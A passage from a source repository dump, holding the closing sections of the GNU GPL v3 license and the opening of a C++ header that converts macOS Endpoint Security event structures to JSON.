228 | invalidate such permission if you have separately received it.
229 |
230 | d) If the work has interactive user interfaces, each must display
231 | Appropriate Legal Notices; however, if the Program has interactive
232 | interfaces that do not display Appropriate Legal Notices, your
233 | work need not make them do so.
234 |
235 | A compilation of a covered work with other separate and independent
236 | works, which are not by their nature extensions of the covered work,
237 | and which are not combined with it such as to form a larger program,
238 | in or on a volume of a storage or distribution medium, is called an
239 | "aggregate" if the compilation and its resulting copyright are not
240 | used to limit the access or legal rights of the compilation's users
241 | beyond what the individual works permit. Inclusion of a covered work
242 | in an aggregate does not cause this License to apply to the other
243 | parts of the aggregate.
244 |
245 | 6. Conveying Non-Source Forms.
246 |
247 | You may convey a covered work in object code form under the terms
248 | of sections 4 and 5, provided that you also convey the
249 | machine-readable Corresponding Source under the terms of this License,
250 | in one of these ways:
251 |
252 | a) Convey the object code in, or embodied in, a physical product
253 | (including a physical distribution medium), accompanied by the
254 | Corresponding Source fixed on a durable physical medium
255 | customarily used for software interchange.
256 |
257 | b) Convey the object code in, or embodied in, a physical product
258 | (including a physical distribution medium), accompanied by a
259 | written offer, valid for at least three years and valid for as
260 | long as you offer spare parts or customer support for that product
261 | model, to give anyone who possesses the object code either (1) a
262 | copy of the Corresponding Source for all the software in the
263 | product that is covered by this License, on a durable physical
264 | medium customarily used for software interchange, for a price no
265 | more than your reasonable cost of physically performing this
266 | conveying of source, or (2) access to copy the
267 | Corresponding Source from a network server at no charge.
268 |
269 | c) Convey individual copies of the object code with a copy of the
270 | written offer to provide the Corresponding Source. This
271 | alternative is allowed only occasionally and noncommercially, and
272 | only if you received the object code with such an offer, in accord
273 | with subsection 6b.
274 |
275 | d) Convey the object code by offering access from a designated
276 | place (gratis or for a charge), and offer equivalent access to the
277 | Corresponding Source in the same way through the same place at no
278 | further charge. You need not require recipients to copy the
279 | Corresponding Source along with the object code. If the place to
280 | copy the object code is a network server, the Corresponding Source
281 | may be on a different server (operated by you or a third party)
282 | that supports equivalent copying facilities, provided you maintain
283 | clear directions next to the object code saying where to find the
284 | Corresponding Source. Regardless of what server hosts the
285 | Corresponding Source, you remain obligated to ensure that it is
286 | available for as long as needed to satisfy these requirements.
287 |
288 | e) Convey the object code using peer-to-peer transmission, provided
289 | you inform other peers where the object code and Corresponding
290 | Source of the work are being offered to the general public at no
291 | charge under subsection 6d.
292 |
293 | A separable portion of the object code, whose source code is excluded
294 | from the Corresponding Source as a System Library, need not be
295 | included in conveying the object code work.
296 |
297 | A "User Product" is either (1) a "consumer product", which means any
298 | tangible personal property which is normally used for personal, family,
299 | or household purposes, or (2) anything designed or sold for incorporation
300 | into a dwelling. In determining whether a product is a consumer product,
301 | doubtful cases shall be resolved in favor of coverage. For a particular
302 | product received by a particular user, "normally used" refers to a
303 | typical or common use of that class of product, regardless of the status
304 | of the particular user or of the way in which the particular user
305 | actually uses, or expects or is expected to use, the product. A product
306 | is a consumer product regardless of whether the product has substantial
307 | commercial, industrial or non-consumer uses, unless such uses represent
308 | the only significant mode of use of the product.
309 |
310 | "Installation Information" for a User Product means any methods,
311 | procedures, authorization keys, or other information required to install
312 | and execute modified versions of a covered work in that User Product from
313 | a modified version of its Corresponding Source. The information must
314 | suffice to ensure that the continued functioning of the modified object
315 | code is in no case prevented or interfered with solely because
316 | modification has been made.
317 |
318 | If you convey an object code work under this section in, or with, or
319 | specifically for use in, a User Product, and the conveying occurs as
320 | part of a transaction in which the right of possession and use of the
321 | User Product is transferred to the recipient in perpetuity or for a
322 | fixed term (regardless of how the transaction is characterized), the
323 | Corresponding Source conveyed under this section must be accompanied
324 | by the Installation Information. But this requirement does not apply
325 | if neither you nor any third party retains the ability to install
326 | modified object code on the User Product (for example, the work has
327 | been installed in ROM).
328 |
329 | The requirement to provide Installation Information does not include a
330 | requirement to continue to provide support service, warranty, or updates
331 | for a work that has been modified or installed by the recipient, or for
332 | the User Product in which it has been modified or installed. Access to a
333 | network may be denied when the modification itself materially and
334 | adversely affects the operation of the network or violates the rules and
335 | protocols for communication across the network.
336 |
337 | Corresponding Source conveyed, and Installation Information provided,
338 | in accord with this section must be in a format that is publicly
339 | documented (and with an implementation available to the public in
340 | source code form), and must require no special password or key for
341 | unpacking, reading or copying.
342 |
343 | 7. Additional Terms.
344 |
345 | "Additional permissions" are terms that supplement the terms of this
346 | License by making exceptions from one or more of its conditions.
347 | Additional permissions that are applicable to the entire Program shall
348 | be treated as though they were included in this License, to the extent
349 | that they are valid under applicable law. If additional permissions
350 | apply only to part of the Program, that part may be used separately
351 | under those permissions, but the entire Program remains governed by
352 | this License without regard to the additional permissions.
353 |
354 | When you convey a copy of a covered work, you may at your option
355 | remove any additional permissions from that copy, or from any part of
356 | it. (Additional permissions may be written to require their own
357 | removal in certain cases when you modify the work.) You may place
358 | additional permissions on material, added by you to a covered work,
359 | for which you have or can give appropriate copyright permission.
360 |
361 | Notwithstanding any other provision of this License, for material you
362 | add to a covered work, you may (if authorized by the copyright holders of
363 | that material) supplement the terms of this License with terms:
364 |
365 | a) Disclaiming warranty or limiting liability differently from the
366 | terms of sections 15 and 16 of this License; or
367 |
368 | b) Requiring preservation of specified reasonable legal notices or
369 | author attributions in that material or in the Appropriate Legal
370 | Notices displayed by works containing it; or
371 |
372 | c) Prohibiting misrepresentation of the origin of that material, or
373 | requiring that modified versions of such material be marked in
374 | reasonable ways as different from the original version; or
375 |
376 | d) Limiting the use for publicity purposes of names of licensors or
377 | authors of the material; or
378 |
379 | e) Declining to grant rights under trademark law for use of some
380 | trade names, trademarks, or service marks; or
381 |
382 | f) Requiring indemnification of licensors and authors of that
383 | material by anyone who conveys the material (or modified versions of
384 | it) with contractual assumptions of liability to the recipient, for
385 | any liability that these contractual assumptions directly impose on
386 | those licensors and authors.
387 |
388 | All other non-permissive additional terms are considered "further
389 | restrictions" within the meaning of section 10. If the Program as you
390 | received it, or any part of it, contains a notice stating that it is
391 | governed by this License along with a term that is a further
392 | restriction, you may remove that term. If a license document contains
393 | a further restriction but permits relicensing or conveying under this
394 | License, you may add to a covered work material governed by the terms
395 | of that license document, provided that the further restriction does
396 | not survive such relicensing or conveying.
397 |
398 | If you add terms to a covered work in accord with this section, you
399 | must place, in the relevant source files, a statement of the
400 | additional terms that apply to those files, or a notice indicating
401 | where to find the applicable terms.
402 |
403 | Additional terms, permissive or non-permissive, may be stated in the
404 | form of a separately written license, or stated as exceptions;
405 | the above requirements apply either way.
406 |
407 | 8. Termination.
408 |
409 | You may not propagate or modify a covered work except as expressly
410 | provided under this License. Any attempt otherwise to propagate or
411 | modify it is void, and will automatically terminate your rights under
412 | this License (including any patent licenses granted under the third
413 | paragraph of section 11).
414 |
415 | However, if you cease all violation of this License, then your
416 | license from a particular copyright holder is reinstated (a)
417 | provisionally, unless and until the copyright holder explicitly and
418 | finally terminates your license, and (b) permanently, if the copyright
419 | holder fails to notify you of the violation by some reasonable means
420 | prior to 60 days after the cessation.
421 |
422 | Moreover, your license from a particular copyright holder is
423 | reinstated permanently if the copyright holder notifies you of the
424 | violation by some reasonable means, this is the first time you have
425 | received notice of violation of this License (for any work) from that
426 | copyright holder, and you cure the violation prior to 30 days after
427 | your receipt of the notice.
428 |
429 | Termination of your rights under this section does not terminate the
430 | licenses of parties who have received copies or rights from you under
431 | this License. If your rights have been terminated and not permanently
432 | reinstated, you do not qualify to receive new licenses for the same
433 | material under section 10.
434 |
435 | 9. Acceptance Not Required for Having Copies.
436 |
437 | You are not required to accept this License in order to receive or
438 | run a copy of the Program. Ancillary propagation of a covered work
439 | occurring solely as a consequence of using peer-to-peer transmission
440 | to receive a copy likewise does not require acceptance. However,
441 | nothing other than this License grants you permission to propagate or
442 | modify any covered work. These actions infringe copyright if you do
443 | not accept this License. Therefore, by modifying or propagating a
444 | covered work, you indicate your acceptance of this License to do so.
445 |
446 | 10. Automatic Licensing of Downstream Recipients.
447 |
448 | Each time you convey a covered work, the recipient automatically
449 | receives a license from the original licensors, to run, modify and
450 | propagate that work, subject to this License. You are not responsible
451 | for enforcing compliance by third parties with this License.
452 |
453 | An "entity transaction" is a transaction transferring control of an
454 | organization, or substantially all assets of one, or subdividing an
455 | organization, or merging organizations. If propagation of a covered
456 | work results from an entity transaction, each party to that
457 | transaction who receives a copy of the work also receives whatever
458 | licenses to the work the party's predecessor in interest had or could
459 | give under the previous paragraph, plus a right to possession of the
460 | Corresponding Source of the work from the predecessor in interest, if
461 | the predecessor has it or can get it with reasonable efforts.
462 |
463 | You may not impose any further restrictions on the exercise of the
464 | rights granted or affirmed under this License. For example, you may
465 | not impose a license fee, royalty, or other charge for exercise of
466 | rights granted under this License, and you may not initiate litigation
467 | (including a cross-claim or counterclaim in a lawsuit) alleging that
468 | any patent claim is infringed by making, using, selling, offering for
469 | sale, or importing the Program or any portion of it.
470 |
471 | 11. Patents.
472 |
473 | A "contributor" is a copyright holder who authorizes use under this
474 | License of the Program or a work on which the Program is based. The
475 | work thus licensed is called the contributor's "contributor version".
476 |
477 | A contributor's "essential patent claims" are all patent claims
478 | owned or controlled by the contributor, whether already acquired or
479 | hereafter acquired, that would be infringed by some manner, permitted
480 | by this License, of making, using, or selling its contributor version,
481 | but do not include claims that would be infringed only as a
482 | consequence of further modification of the contributor version. For
483 | purposes of this definition, "control" includes the right to grant
484 | patent sublicenses in a manner consistent with the requirements of
485 | this License.
486 |
487 | Each contributor grants you a non-exclusive, worldwide, royalty-free
488 | patent license under the contributor's essential patent claims, to
489 | make, use, sell, offer for sale, import and otherwise run, modify and
490 | propagate the contents of its contributor version.
491 |
492 | In the following three paragraphs, a "patent license" is any express
493 | agreement or commitment, however denominated, not to enforce a patent
494 | (such as an express permission to practice a patent or covenant not to
495 | sue for patent infringement). To "grant" such a patent license to a
496 | party means to make such an agreement or commitment not to enforce a
497 | patent against the party.
498 |
499 | If you convey a covered work, knowingly relying on a patent license,
500 | and the Corresponding Source of the work is not available for anyone
501 | to copy, free of charge and under the terms of this License, through a
502 | publicly available network server or other readily accessible means,
503 | then you must either (1) cause the Corresponding Source to be so
504 | available, or (2) arrange to deprive yourself of the benefit of the
505 | patent license for this particular work, or (3) arrange, in a manner
506 | consistent with the requirements of this License, to extend the patent
507 | license to downstream recipients. "Knowingly relying" means you have
508 | actual knowledge that, but for the patent license, your conveying the
509 | covered work in a country, or your recipient's use of the covered work
510 | in a country, would infringe one or more identifiable patents in that
511 | country that you have reason to believe are valid.
512 |
513 | If, pursuant to or in connection with a single transaction or
514 | arrangement, you convey, or propagate by procuring conveyance of, a
515 | covered work, and grant a patent license to some of the parties
516 | receiving the covered work authorizing them to use, propagate, modify
517 | or convey a specific copy of the covered work, then the patent license
518 | you grant is automatically extended to all recipients of the covered
519 | work and works based on it.
520 |
521 | A patent license is "discriminatory" if it does not include within
522 | the scope of its coverage, prohibits the exercise of, or is
523 | conditioned on the non-exercise of one or more of the rights that are
524 | specifically granted under this License. You may not convey a covered
525 | work if you are a party to an arrangement with a third party that is
526 | in the business of distributing software, under which you make payment
527 | to the third party based on the extent of your activity of conveying
528 | the work, and under which the third party grants, to any of the
529 | parties who would receive the covered work from you, a discriminatory
530 | patent license (a) in connection with copies of the covered work
531 | conveyed by you (or copies made from those copies), or (b) primarily
532 | for and in connection with specific products or compilations that
533 | contain the covered work, unless you entered into that arrangement,
534 | or that patent license was granted, prior to 28 March 2007.
535 |
536 | Nothing in this License shall be construed as excluding or limiting
537 | any implied license or other defenses to infringement that may
538 | otherwise be available to you under applicable patent law.
539 |
540 | 12. No Surrender of Others' Freedom.
541 |
542 | If conditions are imposed on you (whether by court order, agreement or
543 | otherwise) that contradict the conditions of this License, they do not
544 | excuse you from the conditions of this License. If you cannot convey a
545 | covered work so as to satisfy simultaneously your obligations under this
546 | License and any other pertinent obligations, then as a consequence you may
547 | not convey it at all. For example, if you agree to terms that obligate you
548 | to collect a royalty for further conveying from those to whom you convey
549 | the Program, the only way you could satisfy both those terms and this
550 | License would be to refrain entirely from conveying the Program.
551 |
552 | 13. Use with the GNU Affero General Public License.
553 |
554 | Notwithstanding any other provision of this License, you have
555 | permission to link or combine any covered work with a work licensed
556 | under version 3 of the GNU Affero General Public License into a single
557 | combined work, and to convey the resulting work. The terms of this
558 | License will continue to apply to the part which is the covered work,
559 | but the special requirements of the GNU Affero General Public License,
560 | section 13, concerning interaction through a network will apply to the
561 | combination as such.
562 |
563 | 14. Revised Versions of this License.
564 |
565 | The Free Software Foundation may publish revised and/or new versions of
566 | the GNU General Public License from time to time. Such new versions will
567 | be similar in spirit to the present version, but may differ in detail to
568 | address new problems or concerns.
569 |
570 | Each version is given a distinguishing version number. If the
571 | Program specifies that a certain numbered version of the GNU General
572 | Public License "or any later version" applies to it, you have the
573 | option of following the terms and conditions either of that numbered
574 | version or of any later version published by the Free Software
575 | Foundation. If the Program does not specify a version number of the
576 | GNU General Public License, you may choose any version ever published
577 | by the Free Software Foundation.
578 |
579 | If the Program specifies that a proxy can decide which future
580 | versions of the GNU General Public License can be used, that proxy's
581 | public statement of acceptance of a version permanently authorizes you
582 | to choose that version for the Program.
583 |
584 | Later license versions may give you additional or different
585 | permissions. However, no additional obligations are imposed on any
586 | author or copyright holder as a result of your choosing to follow a
587 | later version.
588 |
589 | 15. Disclaimer of Warranty.
590 |
591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
599 |
600 | 16. Limitation of Liability.
601 |
602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
610 | SUCH DAMAGES.
611 |
612 | 17. Interpretation of Sections 15 and 16.
613 |
614 | If the disclaimer of warranty and limitation of liability provided
615 | above cannot be given local legal effect according to their terms,
616 | reviewing courts shall apply local law that most closely approximates
617 | an absolute waiver of all civil liability in connection with the
618 | Program, unless a warranty or assumption of liability accompanies a
619 | copy of the Program in return for a fee.
620 |
621 | END OF TERMS AND CONDITIONS
622 |
623 | How to Apply These Terms to Your New Programs
624 |
625 | If you develop a new program, and you want it to be of the greatest
626 | possible use to the public, the best way to achieve this is to make it
627 | free software which everyone can redistribute and change under these terms.
628 |
629 | To do so, attach the following notices to the program. It is safest
630 | to attach them to the start of each source file to most effectively
631 | state the exclusion of warranty; and each file should have at least
632 | the "copyright" line and a pointer to where the full notice is found.
633 |
634 |
635 | Copyright (C)
636 |
637 | This program is free software: you can redistribute it and/or modify
638 | it under the terms of the GNU General Public License as published by
639 | the Free Software Foundation, either version 3 of the License, or
640 | (at your option) any later version.
641 |
642 | This program is distributed in the hope that it will be useful,
643 | but WITHOUT ANY WARRANTY; without even the implied warranty of
644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
645 | GNU General Public License for more details.
646 |
647 | You should have received a copy of the GNU General Public License
648 | along with this program. If not, see .
649 |
650 | Also add information on how to contact you by electronic and paper mail.
651 |
652 | If the program does terminal interaction, make it output a short
653 | notice like this when it starts in an interactive mode:
654 |
655 | Copyright (C)
656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
657 | This is free software, and you are welcome to redistribute it
658 | under certain conditions; type `show c' for details.
659 |
660 | The hypothetical commands `show w' and `show c' should show the appropriate
661 | parts of the General Public License. Of course, your program's commands
662 | might be different; for a GUI interface, you would use an "about box".
663 |
664 | You should also get your employer (if you work as a programmer) or school,
665 | if any, to sign a "copyright disclaimer" for the program, if necessary.
666 | For more information on this, and how to apply and follow the GNU GPL, see
667 | .
668 |
669 | The GNU General Public License does not permit incorporating your program
670 | into proprietary programs. If your program is a subroutine library, you
671 | may consider it more useful to permit linking proprietary applications with
672 | the library. If this is what you want to do, use the GNU Lesser General
673 | Public License instead of this License. But first, please read
674 | .
675 |
--------------------------------------------------------------------------------
/ESDump/es_json.hpp:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #include
4 | #include
5 | #include
6 | #include
7 |
8 | #include
9 |
10 | using json = nlohmann::json;
11 |
12 | using create_destination_type_new_path = struct {
13 | es_file_t* dir;
14 | es_string_token_t filename;
15 | mode_t mode;
16 | };
17 |
18 | using rename_destination_type_new_path = struct {
19 | es_file_t* dir;
20 | es_string_token_t filename;
21 | };
22 |
23 | using rename_destination_type_existing_file = struct {
24 | es_file_t* existing_file;
25 | };
26 |
27 | constexpr std::array btm_item_type_names = {
28 | "ES_BTM_ITEM_TYPE_USER_ITEM",
29 | "ES_BTM_ITEM_TYPE_APP",
30 | "ES_BTM_ITEM_TYPE_LOGIN_ITEM",
31 | "ES_BTM_ITEM_TYPE_AGENT",
32 | "ES_BTM_ITEM_TYPE_DAEMON"
33 | };
34 |
35 | constexpr std::array proc_check_type_names = {
36 | nullptr,
37 | "ES_PROC_CHECK_TYPE_LISTPIDS",
38 | "ES_PROC_CHECK_TYPE_PIDINFO",
39 | "ES_PROC_CHECK_TYPE_PIDFDINFO",
40 | "ES_PROC_CHECK_TYPE_KERNMSGBUF",
41 | "ES_PROC_CHECK_TYPE_SETCONTROL",
42 | "ES_PROC_CHECK_TYPE_PIDFILEPORTINFO",
43 | "ES_PROC_CHECK_TYPE_TERMINATE",
44 | "ES_PROC_CHECK_TYPE_DIRTYCONTROL",
45 | "ES_PROC_CHECK_TYPE_PIDRUSAGE",
46 | nullptr,
47 | nullptr,
48 | nullptr,
49 | nullptr,
50 | "ES_PROC_CHECK_TYPE_UDATA_INFO",
51 | };
52 |
53 | constexpr std::array proc_suspend_resume_type_names = {
54 | "ES_PROC_SUSPEND_RESUME_TYPE_SUSPEND",
55 | "ES_PROC_SUSPEND_RESUME_TYPE_RESUME",
56 | nullptr,
57 | "ES_PROC_SUSPEND_RESUME_TYPE_SHUTDOWN_SOCKETS",
58 | };
59 |
60 | constexpr std::array es_get_task_type_names = {
61 | "ES_GET_TASK_TYPE_TASK_FOR_PID",
62 | "ES_GET_TASK_TYPE_EXPOSE_TASK",
63 | "ES_GET_TASK_TYPE_IDENTITY_TOKEN",
64 | };
65 |
66 | constexpr std::array es_touchid_mode_names = {
67 | "ES_TOUCHID_MODE_VERIFICATION",
68 | "ES_TOUCHID_MODE_IDENTIFICATION",
69 | };
70 |
71 | constexpr std::array es_auto_unlock_type_names = {
72 | nullptr,
73 | "ES_AUTO_UNLOCK_MACHINE_UNLOCK",
74 | "ES_AUTO_UNLOCK_AUTH_PROMPT",
75 | };
76 |
77 | constexpr std::array es_openssh_login_result_type_names = {
78 | "ES_OPENSSH_LOGIN_EXCEED_MAXTRIES",
79 | "ES_OPENSSH_LOGIN_ROOT_DENIED",
80 | "ES_OPENSSH_AUTH_SUCCESS",
81 | "ES_OPENSSH_AUTH_FAIL_NONE",
82 | "ES_OPENSSH_AUTH_FAIL_PASSWD",
83 | "ES_OPENSSH_AUTH_FAIL_KBDINT",
84 | "ES_OPENSSH_AUTH_FAIL_PUBKEY",
85 | "ES_OPENSSH_AUTH_FAIL_HOSTBASED",
86 | "ES_OPENSSH_AUTH_FAIL_GSSAPI",
87 | "ES_OPENSSH_INVALID_USER",
88 | };
89 |
90 | constexpr std::array es_profile_source_names = {
91 | "ES_PROFILE_SOURCE_MANAGED",
92 | "ES_PROFILE_SOURCE_INSTALL",
93 | };
94 |
95 | constexpr std::array es_sudo_plugin_type_names = {
96 | "ES_SUDO_PLUGIN_TYPE_UNKNOWN",
97 | "ES_SUDO_PLUGIN_TYPE_FRONT_END",
98 | "ES_SUDO_PLUGIN_TYPE_POLICY",
99 | "ES_SUDO_PLUGIN_TYPE_IO",
100 | "ES_SUDO_PLUGIN_TYPE_AUDIT",
101 | "ES_SUDO_PLUGIN_TYPE_APPROVAL",
102 | };
103 |
104 | constexpr std::array es_od_member_type_names = {
105 | "ES_OD_MEMBER_TYPE_USER_NAME",
106 | "ES_OD_MEMBER_TYPE_USER_UUID",
107 | "ES_OD_MEMBER_TYPE_GROUP_UUID",
108 | };
109 |
110 | constexpr std::array es_od_account_type_names = {
111 | "ES_OD_ACCOUNT_TYPE_USER",
112 | "ES_OD_ACCOUNT_TYPE_COMPUTER",
113 | };
114 |
115 | constexpr std::array es_od_record_type_names = {
116 | "ES_OD_RECORD_TYPE_USER",
117 | "ES_OD_RECORD_TYPE_GROUP"
118 | };
119 |
120 | constexpr std::array es_xpc_domain_type_names = {
121 | nullptr,
122 | "ES_XPC_DOMAIN_TYPE_SYSTEM",
123 | "ES_XPC_DOMAIN_TYPE_USER",
124 | "ES_XPC_DOMAIN_TYPE_USER_LOGIN",
125 | "ES_XPC_DOMAIN_TYPE_SESSION",
126 | "ES_XPC_DOMAIN_TYPE_PID",
127 | "ES_XPC_DOMAIN_TYPE_MANAGER",
128 | "ES_XPC_DOMAIN_TYPE_PORT",
129 | "ES_XPC_DOMAIN_TYPE_GUI",
130 | };
131 |
132 | template
133 | inline T safe_deref(T* ptr) {
134 | return ptr ? *ptr : T{};
135 | }
136 | void to_json(json& j, const audit_token_t t) {
137 | pid_t pid = audit_token_to_pid(t);
138 | uid_t uid = audit_token_to_euid(t);
139 |
140 | char path[PROC_PIDPATHINFO_MAXSIZE] = {0};
141 | if (proc_pidpath(pid, path, PROC_PIDPATHINFO_MAXSIZE) <= 0) {
142 | path[0] = '\0';
143 | }
144 |
145 | struct passwd* pwd = getpwuid(uid);
146 | char pwd_name[256] = {0};
147 | if (pwd != nullptr) {
148 | strncpy(pwd_name, pwd->pw_name, strnlen(pwd->pw_name, 256));
149 | }
150 |
151 | j = json{
152 | { "pid", (int32_t)pid },
153 | { "path", path },
154 | { "uid", (uint32_t)uid },
155 | { "username", pwd_name }
156 | };
157 | }
158 |
159 | void to_json(json& j, const es_string_token_t& str) {
160 | j = json{
161 | {"length", str.length},
162 | {"data", std::string(str.data, str.length)},
163 | };
164 | }
165 |
166 | void to_json(json& j, const timespec& ts) {
167 | j = json{
168 | {"tv_sec", ts.tv_sec},
169 | {"tv_nsec", ts.tv_nsec},
170 | };
171 | }
172 |
173 | void to_json(json& j, const timeval& ts) {
174 | j = json{
175 | {"tv_sec", ts.tv_sec},
176 | {"tv_usec", ts.tv_usec},
177 | };
178 | }
179 |
180 | void to_json(json& j, const struct stat& s) {
181 | j = json{
182 | {"st_dev", s.st_dev},
183 | {"st_mode", s.st_mode},
184 | {"st_nlink", s.st_nlink},
185 | {"st_ino", s.st_ino},
186 | {"st_uid", s.st_uid},
187 | {"st_gid", s.st_gid},
188 | {"st_rdev", s.st_rdev},
189 | {"st_atimespec", s.st_atimespec},
190 | {"st_mtimespec", s.st_mtimespec},
191 | {"st_ctimespec", s.st_ctimespec},
192 | {"st_birthtimespec", s.st_birthtimespec},
193 | {"st_size", s.st_size},
194 | {"st_blocks", s.st_blocks},
195 | {"st_blksize", s.st_blksize},
196 | {"st_flags", s.st_flags},
197 | {"st_gen", s.st_gen},
198 | {"st_lspare", s.st_lspare},
199 | {"st_qspare", s.st_qspare},
200 | };
201 | }
202 |
203 | void to_json(json& j, const es_file_t& file) {
204 | j = json{
205 | {"path", file.path},
206 | {"path_truncated", file.path_truncated},
207 | {"stat", file.stat},
208 | };
209 | }
210 |
211 | void to_json(json& j, const es_process_t& process) {
212 | j = json{
213 | {"audit_token", process.audit_token},
214 | {"ppid", process.ppid},
215 | {"original_ppid", process.original_ppid},
216 | {"group_id", process.group_id},
217 | {"session_id", process.session_id},
218 | {"codesigning_flags", process.codesigning_flags},
219 | {"is_platform_binary", process.is_platform_binary},
220 | {"is_es_client", process.is_es_client},
221 | {"cdhash", std::vector(process.cdhash, process.cdhash + sizeof(process.cdhash))},
222 | {"signing_id", process.signing_id},
223 | {"team_id", process.team_id},
224 | {"executable", safe_deref(process.executable)},
225 | {"tty", safe_deref(process.tty)},
226 | {"start_time", process.start_time},
227 | {"responsible_audit_token", process.responsible_audit_token},
228 | {"parent_audit_token", process.parent_audit_token},
229 | };
230 | }
231 |
232 | void to_json(json& j, const es_event_exec_t& event) {
233 | j = json{
234 | {"target", safe_deref(event.target)},
235 | {"dyld_exec_path", event.dyld_exec_path},
236 | {"script", safe_deref(event.script)},
237 | {"cwd", safe_deref(event.cwd)},
238 | {"last_fd", event.last_fd},
239 | {"image_cputype", event.image_cputype},
240 | {"image_cpusubtype", event.image_cpusubtype},
241 | };
242 | }
243 |
244 | void to_json(json& j, const es_event_setflags_t& event) {
245 | j = json{
246 | {"flags", event.flags},
247 | {"target", safe_deref(event.target)},
248 | // {"reserved", event.reserved},
249 | };
250 | }
251 |
252 | void to_json(json& j, const es_event_signal_t& event) {
253 | j = json{
254 | {"sig", event.sig},
255 | {"target", safe_deref(event.target)},
256 | // {"reserved", event.reserved},
257 | };
258 | }
259 |
260 | void to_json(json& j, const es_event_deleteextattr_t& event) {
261 | j = json{
262 | {"target", safe_deref(event.target)},
263 | {"extattr", event.extattr},
264 | // {"reserved", event.reserved},
265 | };
266 | }
267 |
268 | void to_json(json& j, const fsid_t& fsid) {
269 | j = json{
270 | {"val", fsid.val},
271 | };
272 | }
273 |
274 | void to_json(json& j, const struct statfs& s) {
275 | j = json{
276 | {"f_bsize", s.f_bsize},
277 | {"f_iosize", s.f_iosize},
278 | {"f_blocks", s.f_blocks},
279 | {"f_bfree", s.f_bfree},
280 | {"f_bavail", s.f_bavail},
281 | {"f_files", s.f_files},
282 | {"f_ffree", s.f_ffree},
283 | {"f_fsid", s.f_fsid},
284 | {"f_owner", s.f_owner},
285 | {"f_type", s.f_type},
286 | {"f_flags", s.f_flags},
287 | {"f_fssubtype", s.f_fssubtype},
288 | {"f_fstypename", s.f_fstypename},
289 | {"f_mntonname", s.f_mntonname},
290 | {"f_mntfromname", s.f_mntfromname},
291 | {"f_flags_ext", s.f_flags_ext},
292 | // {"f_reserved", s.f_reserved},
293 | };
294 | }
295 |
296 | void to_json(json& j, const es_event_mount_t& event) {
297 | j = json{
298 | {"statfs", safe_deref(event.statfs)},
299 | // {"reserved", event.reserved},
300 | };
301 | }
302 |
303 | void to_json(json& j, const es_event_setextattr_t& event) {
304 | j = json{
305 | {"target", safe_deref(event.target)},
306 | {"extattr", event.extattr},
307 | // {"reserved", event.reserved},
308 | };
309 | }
310 |
311 | void to_json(json& j, const es_event_setowner_t& event) {
312 | j = json{
313 | {"uid", event.uid},
314 | {"gid", event.gid},
315 | {"target", safe_deref(event.target)},
316 | // {"reserved", event.reserved},
317 | };
318 | }
319 |
320 | void to_json(json& j, const es_event_exit_t& event) {
321 | j = json{
322 | {"stat", event.stat},
323 | // {"reserved", event.reserved},
324 | };
325 | }
326 |
327 | void to_json(json& j, const es_event_fork_t& event) {
328 | j = json{
329 | {"child", safe_deref(event.child)},
330 | // {"reserved", event.reserved},
331 | };
332 | }
333 |
334 | void to_json(json& j, const create_destination_type_new_path& event) {
335 | j = json{
336 | {"dir", safe_deref(event.dir)},
337 | {"filename", event.filename},
338 | {"mode", event.mode},
339 | };
340 | }
341 |
342 | void to_json(json& j, const rename_destination_type_new_path& event) {
343 | j = json{
344 | {"dir", safe_deref(event.dir)},
345 | {"filename", event.filename},
346 | };
347 | }
348 |
349 | void to_json(json& j, const rename_destination_type_existing_file& event) {
350 | j = json{
351 | {"existing_file", safe_deref(event.existing_file)},
352 | };
353 | }
354 |
355 | void to_json(json& j, const es_event_rename_t& event) {
356 | j = json{
357 | {"source", safe_deref(event.source)},
358 | // {"reserved", event.reserved},
359 | };
360 |
361 | if (event.destination_type == ES_DESTINATION_TYPE_NEW_PATH) {
362 | j["destination_type"] = "ES_DESTINATION_TYPE_NEW_PATH";
363 | j["destination"] = (rename_destination_type_new_path){
364 | .dir = event.destination.new_path.dir,
365 | .filename = event.destination.new_path.filename
366 | };
367 | }
368 | else {
369 | j["destination_type"] = "ES_DESTINATION_TYPE_EXISTING_FILE";
370 | j["destination"] = (rename_destination_type_existing_file){
371 | .existing_file = event.destination.existing_file
372 | };
373 | }
374 | }
375 |
376 | void to_json(json& j, const es_event_truncate_t& event) {
377 | j = json{
378 | {"target", safe_deref(event.target)},
379 | // {"reserved", event.reserved},
380 | };
381 | }
382 |
383 | void to_json(json& j, const es_event_link_t& event) {
384 | j = json{
385 | {"source", safe_deref(event.source)},
386 | {"target_dir", safe_deref(event.target_dir)},
387 | {"target_filename", event.target_filename},
388 | // {"reserved", event.reserved},
389 | };
390 | }
391 |
392 | void to_json(json& j, const es_event_unmount_t& event) {
393 | j = json{
394 | {"statfs", safe_deref(event.statfs)},
395 | // {"reserved", event.reserved},
396 | };
397 | }
